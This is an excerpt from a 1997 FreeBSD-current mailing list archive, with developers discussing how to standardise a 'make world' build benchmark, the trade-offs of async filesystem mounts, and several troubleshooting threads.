*really* would like to see the target be "make buildworld". The > "make install" portion doesn't have much to do with the variabilities of the > overall times, and I don't want to do six make worlds (ie make installs) > in a row on my development systems. "make buildworld" is safe, even when > we have major breakage in the source tree, but obviously "make install" isn't! I agree it should be limited to make buildworld. The mounting type (sync or async) is controllable easily by the local site, so I think we should specify that too. I'd be in favor of sync, but I'd be willing to be talked into async. The position of the obj file (whether on a separate drive from the sources) isn't easily controllable, and the lucky ones who have the option shouldn't be penalized by being unable to report results, so I would require that information be part of the results, but not constrained to be one way or another. > > -- > Steve Passe | powered by > smp@csn.net | Symmetric MultiProcessor FreeBSD > > > -- ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Mon Nov 17 09:25:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA25557 for current-outgoing; Mon, 17 Nov 1997 09:25:45 -0800 (PST) (envelope-from owner-freebsd-current) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA25540 for ; Mon, 17 Nov 1997 09:25:31 -0800 (PST) (envelope-from chuckr@picnic.mat.net) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.8/8.6.12) with ESMTP id MAA28442; Mon, 17 Nov 1997 12:23:38 -0500 (EST) Message-Id: <199711171723.MAA28442@earth.mat.net> Date: Mon, 17 Nov 1997 12:23:38 -0500 (EST) From: chuckr@glue.umd.edu Subject: Re: async fs? To: npp@neg-micon.dk cc: current@FreeBSD.ORG In-Reply-To: <41256552.0048809B.00@mail.micon.dk> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 17 Nov, Nicolai Petri wrote: > > Greetings All, > > I read something about mounting a drive in async mode, I wondered if this > will give me a performance increase on my proxy server.. And is it possible > to do it on all filesystems ?? > Are you aware that losing your system while you are running async is usually fairly safe (often you lose no files, or if you were very busy doing disk activity, maybe a few), but if you are mounted async, you could possibly lose much, much more? It'll certainly increase performance, but you'd better be willing to pay the price. > CyberDuck > > > -- ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Mon Nov 17 09:44:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA27028 for current-outgoing; Mon, 17 Nov 1997 09:44:41 -0800 (PST) (envelope-from owner-freebsd-current) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA27020 for ; Mon, 17 Nov 1997 09:44:34 -0800 (PST) (envelope-from bsampley@bsampley.vip.best.com) Received: from bsampley (bsampley.vip.best.com [206.184.160.196]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with SMTP id JAA09129; Mon, 17 Nov 1997 09:42:06 -0800 (PST) Date: Mon, 17 Nov 1997 09:38:31 -0800 (PST) From: Burton Sampley X-Sender: bsampley@bsampley To: "Jordan K. Hubbard" cc: current@FreeBSD.org Subject: Re: make world time???/ In-Reply-To: <28686.879744433@jkh.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Sun, 16 Nov 1997, Jordan K. Hubbard wrote: > > I do a make world in about 75 minutes -- I just didn't do profiled > > libraries. > > Argh. If we're going to compare worldstone numbers, we've really > got to converge on some standard for what consititutes a proper > one. ;-) In my own benchmarks, I always do a completely "standard" > build with only one exception, which is to add CFLAGS=-O -pipe > to /etc/make.conf (oh yeah, /usr also mounted async). Other > folks stripe /usr/obj or mount it noatime or do any number > of other things (like NOPROFILE) which can only skew the numbers > when comparing them. Maybe the first step would be to agree > upon a script for launching the world build which sets various > environment variables consistently? Then we'd at least be > down to just the I/O trickieries as variants. Also Jordan, remember that some people are over-clocking their systems (I'm one of them). I believe one of the keys to over-clocking is to use a faster bus speed (ie, 75 or 83 MHz instead of 66 MHz) which would also skew the numbers from those that are not over-clocking. Since I'm the person who started this thread a couple of days/weeks ago with a simple question on why my system does 'make world' slower than the rest of the FBSD community with similar hardware, I would support a test like this. Even though I have been using FBSD for over 1 year as my primary OS, I still consider myself a 'Unix Novice' and therefore would benefit from the discussion a test like this would generate on this mailing list. As another thought, if we could all agree on the associated terms of this test, maybe someone could volunteer to write a new section for the handbook on how to fine-tune your system for optimal performance (depending on the purpose of your FBSD box). Although it sounds like most of the people participating in this discussion already know what they are doing, some newbies (like me) could greatly benefit from this. Unfortunately, due to time constraints with school (I'm full-time at CSUH), I can not volunteer for this task. - - burton - - --------------- Burton Sampley bsampley@best.com or bsampley@haywire.csuhayward.edu PGP key available at http://www.best.com/~bsampley/pgp.html -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNHCBH3t2O8KJtMdBAQE4hgP/ZKyY4EjNQub8NIOTGzprhL7dYp8zI0oO SUWdg4usvFoxyw6v5dBoifKEaz3HX6I3hTWBoMwt1XjkSjX3cFUskbLdG+ceOXli 5WQ4SCA4wY/gOtMR04KYET5oRBpnPndHdxg3RXEHP3U39d09b0NoXhkgy7hL9vGT Je0r0FUYeDo= =hWhl -----END PGP SIGNATURE----- From owner-freebsd-current Mon Nov 17 09:57:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA28007 for current-outgoing; Mon, 17 Nov 1997 09:57:33 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA28001 for ; Mon, 17 Nov 1997 09:57:30 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id JAA02845; Mon, 17 Nov 1997 09:57:11 -0800 (PST) Message-Id: <199711171757.JAA02845@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Bob Bishop cc: current@FreeBSD.ORG Subject: Re: make world time???/ In-reply-to: Your message of "Mon, 17 Nov 1997 10:07:50 GMT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Nov 1997 09:57:10 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, I was just trying to find out about the scalability of doing make worlds . A couple of us are suspecting problems with the system: fast SMP systems VS. fast Uniprocessor systems with fast disk drives. Simon Shapiro first alluded to a problem and I wanted an independent confirmation . As for a benchmark or standard way of reporting "make world" it is a a good idea -- to track the system performance or code bloat in the standard distribution. We need a short readme file or FAQ entry: kernel configuration , in the case of scsi it is important to have the following options: options AHC_TAGENABLE options AHC_SCBPAGING_ENABLE options AHC_ALLOW_MEMIO If we have any options to enable dma on fast ide drives it should included as a suggestion on how to speed up ide drives. The partition(s) should be mounted async, noatime: mount -u -o async,noatime /obj mount -u -o async,noatime /usr Yes, there is a danger in setting up /usr async do a make clean -- to eliminate the variable of some cleaning an empty /obj vs a populated /obj Include the output of dmesg /etc/make.conf options: CFLAGS= -O -pipe NOPROFILE= true I never use the profiled libraries and it seems to me that this should be the default given that most users would probably not know how to use them anyhow. Since most of us prefer the above CFLAGS options it should be default or does anyone have any objects as to why "-O -pipe" should not be the default. Next, we should have a web page where people can post their benchmarks. This will help newbies to determine the best configurations at least with respect to a build machine. Amancio > >[Various people on what should comprise the definitive worldstone...] > > Unless everyone has identical configurations (which would kinda miss the > point), it's not going to be possible to level the playing field. Eg: > > - -pipe and/or -jx don't help unless you have enough real memory > > - multiple spindles seem to help a lot: I got well under 2h (not accurately > timed, unfortunately) burning in a K6-200 with 2x4.4G Quantum Atlas on a > 2940UW > > - do the rules allow turning off daemons to free up memory while building? > > Also, the target time (whatever that is) is going to change over time. I've > seeing significant changes in build time on the same machine with the same > options over a period of months: I may post something on this subject. > > > -- > Bob Bishop (0118) 977 4017 international code +44 118 > rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK > > From owner-freebsd-current Mon Nov 17 10:48:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA02982 for current-outgoing; Mon, 17 Nov 1997 10:48:43 -0800 (PST) (envelope-from owner-freebsd-current) Received: from news1.gtn.com (news1.gtn.com [194.77.0.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA02968; Mon, 17 Nov 1997 10:48:35 -0800 (PST) (envelope-from andreas@klemm.gtn.com) Received: (from uucp@localhost) by news1.gtn.com (8.8.6/8.8.6) with UUCP id TAA26495; Mon, 17 Nov 1997 19:45:25 +0100 (MET) Received: (from andreas@localhost) by klemm.gtn.com (8.8.8/8.8.7) id HAA01261; Mon, 17 Nov 1997 07:52:59 +0100 (CET) (envelope-from andreas) Message-ID: <19971117075259.32948@klemm.gtn.com> Date: Mon, 17 Nov 1997 07:52:59 +0100 From: Andreas Klemm To: Penisoara Adrian Cc: freebsd-current@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG Subject: Re: Latest 3.0-SNAP for ISP Production server ? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.88 In-Reply-To: ; from Penisoara Adrian on Mon, Nov 17, 1997 at 01:32:06AM +0200 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Nov 17, 1997 at 01:32:06AM +0200, Penisoara Adrian wrote: > > Hi, > > I'm sorry to bother you all but I really am out of 'sync' with -current > events... > We have an dual Pentium machine running 3.0-970718-SNAP and we have big > plans for it (it's our main server) so I'd like to 'upgrade' it to the > newest stable SNAP in this time frame, while we're going to do a bunch of > changes in the networking infrastructure. > Beeing our main server I'd like to know what's the latest _stable_ SNAP; > I'm specially looking for stable AIC7XXX (AHA2940AU adapter), MFS, PPP and > networking subsystems. You should use 2.2-STABLE for a production machine. -current is developers playground. It's not recommended to run -current in a production environment. For SMP you should wait, until 3.0-RELEASE comes out. Ok, SMP does pretty well here at home, but if I were you I'd choose -STABLE for the company (as I did twice). -- Andreas Klemm powered by ,,symmetric multiprocessor FreeBSD'' From owner-freebsd-current Mon Nov 17 11:14:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA04469 for current-outgoing; Mon, 17 Nov 1997 11:14:22 -0800 (PST) (envelope-from owner-freebsd-current) Received: from ady.warp.starnets.ro (ady.warp.starnets.ro [193.226.124.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA04446; Mon, 17 Nov 1997 11:14:03 -0800 (PST) (envelope-from ady@warp.starnets.ro) Received: from localhost (ady@localhost) by ady.warp.starnets.ro (8.8.6/8.8.6) with SMTP id VAA07712; Mon, 17 Nov 1997 21:12:40 +0200 (EET) Date: Mon, 17 Nov 1997 21:12:40 +0200 (EET) From: Penisoara Adrian To: Andreas Klemm cc: freebsd-current@FreeBSD.ORG, freebsd-isp@FreeBSD.ORG Subject: Re: Latest 3.0-SNAP for ISP Production server ? In-Reply-To: <19971117075259.32948@klemm.gtn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, On Mon, 17 Nov 1997, Andreas Klemm wrote: > On Mon, Nov 17, 1997 at 01:32:06AM +0200, Penisoara Adrian wrote: > > [...] > > We have an dual Pentium machine running 3.0-970718-SNAP and we have big > > plans for it (it's our main server) so I'd like to 'upgrade' it to the > > newest stable SNAP in this time frame, while we're going to do a bunch of > > changes in the networking infrastructure. > > Beeing our main server I'd like to know what's the latest _stable_ SNAP; > > I'm specially looking for stable AIC7XXX (AHA2940AU adapter), MFS, PPP and > > networking subsystems. > > You should use 2.2-STABLE for a production machine. -current is > developers playground. It's not recommended to run -current in a > production environment. For SMP you should wait, until 3.0-RELEASE > comes out. Ok, SMP does pretty well here at home, but if I were you > I'd choose -STABLE for the company (as I did twice). Yes, I agree with you, but I have to go for SMP - this dual Pentium machine is our main server... BTW, I did enjoy 3.0-current, except for those nasty AIC7XXX bugs in a while (did -current really get rid of 'em ?). > > -- > Andreas Klemm > powered by ,,symmetric multiprocessor FreeBSD'' > Thanks. Ady (@warp.starnets.ro) From owner-freebsd-current Mon Nov 17 11:14:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA04529 for current-outgoing; Mon, 17 Nov 1997 11:14:54 -0800 (PST) (envelope-from owner-freebsd-current) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA04468 for ; Mon, 17 Nov 1997 11:14:22 -0800 (PST) (envelope-from chuckr@picnic.mat.net) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.8/8.6.12) with ESMTP id OAA07272; Mon, 17 Nov 1997 14:10:47 -0500 (EST) Message-Id: <199711171910.OAA07272@earth.mat.net> Date: Mon, 17 Nov 1997 14:10:46 -0500 (EST) From: chuckr@glue.umd.edu Subject: Re: make world time???/ To: hasty@rah.star-gate.com cc: rb@gid.co.uk, current@FreeBSD.ORG In-Reply-To: <199711171757.JAA02845@rah.star-gate.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 17 Nov, Amancio Hasty wrote: > Hi, > > I was just trying to find out about the scalability of doing make > worlds . > > A couple of us are suspecting problems with the system: > fast SMP systems VS. fast Uniprocessor systems with fast disk drives. > Simon Shapiro first alluded to a problem and I wanted an independent > confirmation . [some deletions] > The partition(s) should be mounted async, noatime: > mount -u -o async,noatime /obj > mount -u -o async,noatime /usr > > Yes, there is a danger in setting up /usr async Then why are you proposing everyone do it that way? It's a benchmark, it should be safe to run for everyone, not just those who don't mind an occaisonal reinstall. The benchmark would be just as valid, as long as everyone uses the same thing, if a sync mount is used. This kind of thing isn't portable, say, to unix, we're comparing FreeBSD systems to FreeBSD systems here. > > do a make clean -- to eliminate the variable of some cleaning an > empty /obj vs a populated /obj > > Include the output of dmesg > > /etc/make.conf options: > CFLAGS= -O -pipe > NOPROFILE= true > > I never use the profiled libraries and it seems to me that this should be > the default given that most users would probably not know how to use them > anyhow. > > Since most of us prefer the above CFLAGS options it should be default or > does anyone have any objects as to why "-O -pipe" should not be the default. > > Next, we should have a web page where people can post their benchmarks. > This will help newbies to determine the best configurations at least > with respect to a build machine. > > Amancio > >> >[Various people on what should comprise the definitive worldstone...] >> >> Unless everyone has identical configurations (which would kinda miss the >> point), it's not going to be possible to level the playing field. Eg: >> >> - -pipe and/or -jx don't help unless you have enough real memory >> >> - multiple spindles seem to help a lot: I got well under 2h (not accurately >> timed, unfortunately) burning in a K6-200 with 2x4.4G Quantum Atlas on a >> 2940UW >> >> - do the rules allow turning off daemons to free up memory while building? >> >> Also, the target time (whatever that is) is going to change over time. I've >> seeing significant changes in build time on the same machine with the same >> options over a period of months: I may post something on this subject. >> >> >> -- >> Bob Bishop (0118) 977 4017 international code +44 118 >> rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK >> >> > > > -- ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@glue.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-current Mon Nov 17 12:11:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA10188 for current-outgoing; Mon, 17 Nov 1997 12:11:46 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA10177 for ; Mon, 17 Nov 1997 12:11:35 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id PAA04912; Mon, 17 Nov 1997 15:08:54 -0500 (EST) From: "John S. Dyson" Message-Id: <199711172008.PAA04912@dyson.iquest.net> Subject: Re: async fs? In-Reply-To: <199711171723.MAA28442@earth.mat.net> from "chuckr@glue.umd.edu" at "Nov 17, 97 12:23:38 pm" To: chuckr@glue.umd.edu Date: Mon, 17 Nov 1997 15:08:54 -0500 (EST) Cc: npp@neg-micon.dk, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk chuckr@glue.umd.edu said: > On 17 Nov, Nicolai Petri wrote: > > > > Greetings All, > > > > I read something about mounting a drive in async mode, I wondered if this > > will give me a performance increase on my proxy server.. And is it possible > > to do it on all filesystems ?? > > > > Are you aware that losing your system while you are running async is > usually fairly safe (often you lose no files, or if you were very busy > doing disk activity, maybe a few), but if you are mounted async, you > could possibly lose much, much more? It'll certainly increase > performance, but you'd better be willing to pay the price. > With an async mounted filesystem, you can loose the filesystem structure more easily -- specifically, it is harder for fsck to correct the damage after a system failure. The way that I implemented write clustering, the async option does not normally defer large sequential writes. A write cluster of 64K will normally be written immediately, similar to the normal mount case. The overhead/cost of having large numbers of deferred writes to files that are not temporary are (IMO) worse than just doing them. If the files are truly temporary, it is really best to use MFS, and in the case of GCC, use -pipe when you can. The async mounted filesystem mostly decreases the number of random seeks associated with file data, and directory and other metadata write operations. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Mon Nov 17 12:15:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA10547 for current-outgoing; Mon, 17 Nov 1997 12:15:25 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA10535 for ; Mon, 17 Nov 1997 12:15:21 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id PAA04958; Mon, 17 Nov 1997 15:14:59 -0500 (EST) From: "John S. Dyson" Message-Id: <199711172014.PAA04958@dyson.iquest.net> Subject: Re: Acrobat problems? In-Reply-To: <199711170737.BAA03677@zuhause.mn.org> from Bruce Albrecht at "Nov 17, 97 01:37:35 am" To: bruce@zuhause.mn.org (Bruce Albrecht) Date: Mon, 17 Nov 1997 15:14:59 -0500 (EST) Cc: freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Bruce Albrecht said: > Is anyone else having problems running Acrobat 3.0 or 3.01 (Linux) on > -current? When I run 3.0, Acrobat tells me that it's trapped a > segfault on every pdf file I try, and 3.01 doesn't segfault, but the > display is all messed up. I'm running SMP from around 10/27, and here > are my linux libraries: > I use acroread regularly, but my current is about 1wk old. Your non-X libs look the same as mine, but remember, the X libs might also be involved. I'll check out a more recent current soon, and let you know. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Mon Nov 17 12:21:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA10897 for current-outgoing; Mon, 17 Nov 1997 12:21:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from conductor.synapse.net (conductor.synapse.net [199.84.54.18]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA10891 for ; Mon, 17 Nov 1997 12:21:03 -0800 (PST) (envelope-from evanc@synapse.net) Received: (qmail 4542 invoked from network); 17 Nov 1997 20:20:59 -0000 Received: from cello.synapse.net (199.84.54.81) by conductor.synapse.net with SMTP; 17 Nov 1997 20:20:59 -0000 Date: Mon, 17 Nov 1997 15:20:58 -0500 (EST) From: Evan Champion To: chuckr@glue.umd.edu cc: npp@neg-micon.dk, current@FreeBSD.ORG Subject: Re: async fs? In-Reply-To: <199711171723.MAA28442@earth.mat.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 17 Nov 1997 chuckr@glue.umd.edu wrote: > Are you aware that losing your system while you are running async is > usually fairly safe (often you lose no files, or if you were very busy > doing disk activity, maybe a few), but if you are mounted async, you > could possibly lose much, much more? It'll certainly increase > performance, but you'd better be willing to pay the price. Mounting a proxy cache or somesuch is probably a good use for async. If the disk is corrupted, the world won't end if you newfs the proxy cache. But make sure that _all_ that is on that slice is the cache. Evan From owner-freebsd-current Mon Nov 17 12:56:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA14006 for current-outgoing; Mon, 17 Nov 1997 12:56:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from phouka.oss.uswest.net (phouka.oss.uswest.net [204.147.85.48]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA13998 for ; Mon, 17 Nov 1997 12:56:07 -0800 (PST) (envelope-from brett@phouka.oss.uswest.net) Received: from phouka.oss.uswest.net (localhost.uswest.net [127.0.0.1]) by phouka.oss.uswest.net (8.8.5/8.7.3) with ESMTP id OAA19807; Mon, 17 Nov 1997 14:54:42 -0600 (CST) Message-Id: <199711172054.OAA19807@phouka.oss.uswest.net> To: chuckr@Glue.umd.edu Cc: npp@neg-micon.dk, current@FreeBSD.ORG Subject: Re: async fs? In-reply-to: Your message of "Mon, 17 Nov 1997 12:23:38 EST." <199711171723.MAA28442@earth.mat.net> Date: Mon, 17 Nov 1997 14:54:41 -0600 From: Brett Rabe Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 17 Nov 1997 12:23:38 EST, chuckr@Glue.umd.edu wrote: >On 17 Nov, Nicolai Petri wrote: >> I read something about mounting a drive in async mode, I wondered if this >> will give me a performance increase on my proxy server.. And is it possible >> to do it on all filesystems ?? >> >Are you aware that losing your system while you are running async is >usually fairly safe (often you lose no files, or if you were very busy >doing disk activity, maybe a few), but if you are mounted async, you >could possibly lose much, much more? It'll certainly increase >performance, but you'd better be willing to pay the price. Sure, you increase your risk of damage in the event of a system failure. But it's definitely worth it in certain cases. For example, I switch all of my news servers' spool filesystems -- spool only -- to async for the duration of the nightly expire. It dramatically speeds up the expire time, and the risk is acceptable. If I lose one news machine for the length of time it takes me to re-newfs and populate the machine... big deal. We've done this for nearly a year without ever experiencing a total failure of the filesystem. Once in that year the machine crashed during the expire, and aside from a rather lengthy fsck, everything recovered just fine. Brett --- Brett Rabe Email : brett@uswest.net Systems Administrator - !nteract Services Phone : 612.664.3078 600 Stinson Blvd. Pager : 612.613.2549 Minneapolis, MN USA 55413 Fax : 612.664.4770 If you aren't the lead dog, the view is always the same. From owner-freebsd-current Mon Nov 17 14:44:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA21625 for current-outgoing; Mon, 17 Nov 1997 14:44:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA21616 for ; Mon, 17 Nov 1997 14:44:18 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.8/8.8.5) with ESMTP id OAA03874; Mon, 17 Nov 1997 14:17:32 -0800 (PST) Message-Id: <199711172217.OAA03874@rah.star-gate.com> To: chuckr@glue.umd.edu cc: hasty@rah.star-gate.com, rb@gid.co.uk, current@FreeBSD.ORG, hasty@rah.star-gate.com Subject: Re: make world time???/ In-reply-to: Your message of "Mon, 17 Nov 1997 14:10:46 EST." <199711171910.OAA07272@earth.mat.net> Date: Mon, 17 Nov 1997 14:17:32 -0800 From: Amancio Hasty Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk It appears that the problem maybe related to a certain level of performance . At any rate, I proposed that we should spend lets say another week on the prefer way of doing the benchmark and for special cases we can easily post whatever requirments we may need. For now , stick in /usr/src/README.benchmark the prefer way of doing the worldstone. That exercise should take less than hour based upon all the input that we have received on this mailing list. Amancio From owner-freebsd-current Mon Nov 17 16:09:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA26394 for current-outgoing; Mon, 17 Nov 1997 16:09:58 -0800 (PST) (envelope-from owner-freebsd-current) Received: from zippy.dyn.ml.org (haiti-68.ppp.hooked.net [206.169.228.68]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA26385 for ; Mon, 17 Nov 1997 16:09:52 -0800 (PST) (envelope-from garbanzo@hooked.net) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id QAA00426 for ; Mon, 17 Nov 1997 16:10:36 -0800 (PST) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Mon, 17 Nov 1997 16:10:36 -0800 (PST) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: current Subject: make world fails :/ Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Arg!! I've been having horrible luck with make worlds recently. I've tried three times this past weekend, once on friday night, once on saturday night, and once on sunday night. Friday and Saturday, lightning decided to play a nice joke on me, and the computer rebooted without a hitch (so much for nice Northern Cali weather). Finally on Sunday night, I left it running, and this morning, I watched it finish, as groff (or troff or similar, but I think it was groff) decided to free junk pointers (in /usr/src/share/papers as I recall), and eventually bomb out in one of the papers. I'm gonna wipe out /usr/sup, recvsup the already current as of 11P PST yesterday, and see if this works. Yes I've done a chflags -R noschg /usr/obj; rm -rf /usr/obj. Does anyone have any other suggestions? - alex From owner-freebsd-current Mon Nov 17 16:53:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA29230 for current-outgoing; Mon, 17 Nov 1997 16:53:45 -0800 (PST) (envelope-from owner-freebsd-current) Received: from austin.polstra.com (austin.polstra.com [206.213.73.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA29224 for ; Mon, 17 Nov 1997 16:53:34 -0800 (PST) (envelope-from jdp@austin.polstra.com) Received: from austin.polstra.com (jdp@localhost) by austin.polstra.com (8.8.7/8.8.7) with ESMTP id QAA12127; Mon, 17 Nov 1997 16:52:55 -0800 (PST) (envelope-from jdp) Message-Id: <199711180052.QAA12127@austin.polstra.com> To: evanc@synapse.net Subject: Re: Way to _not_ build something in make world? In-Reply-To: References: Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Date: Mon, 17 Nov 1997 16:52:55 -0800 From: John Polstra Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article , Evan Champion wrote: > On Sun, 16 Nov 1997, spork wrote: > > > Copy "Makefile" to "makefile" and cvsup won't touch it, and make reads the > > lower-case one first... > > Well, I have cvsup running in delete mode, so unless I specifically told > it to leave the file alone, it's just going to nuke the makefile. No, even in delete mode it will only remove files that it created itself. If you don't trust it, then read about "refuse" files in the man page. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Self-knowledge is always bad news." -- John Barth From owner-freebsd-current Mon Nov 17 17:53:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA04424 for current-outgoing; Mon, 17 Nov 1997 17:53:12 -0800 (PST) (envelope-from owner-freebsd-current) Received: from bsdx.dyn.ml.org (root@pm335-43.dialip.mich.net [35.9.11.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA04413 for ; Mon, 17 Nov 1997 17:53:07 -0800 (PST) (envelope-from mcdougall@ameritech.net) Received: from ameritech.net (user1@localhost.dyn.ml.org [127.0.0.1]) by bsdx.dyn.ml.org (8.8.8/8.8.7) with ESMTP id UAA25155 for ; Mon, 17 Nov 1997 20:51:52 -0500 (EST) (envelope-from mcdougall@ameritech.net) Message-ID: <3470F4B7.2AC390D0@ameritech.net> Date: Mon, 17 Nov 1997 20:51:51 -0500 From: Adam McDougall X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: current@freebsd.org Subject: teardrop Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Has this new kind of nuke been addressed, and can it be/has it been fixed? 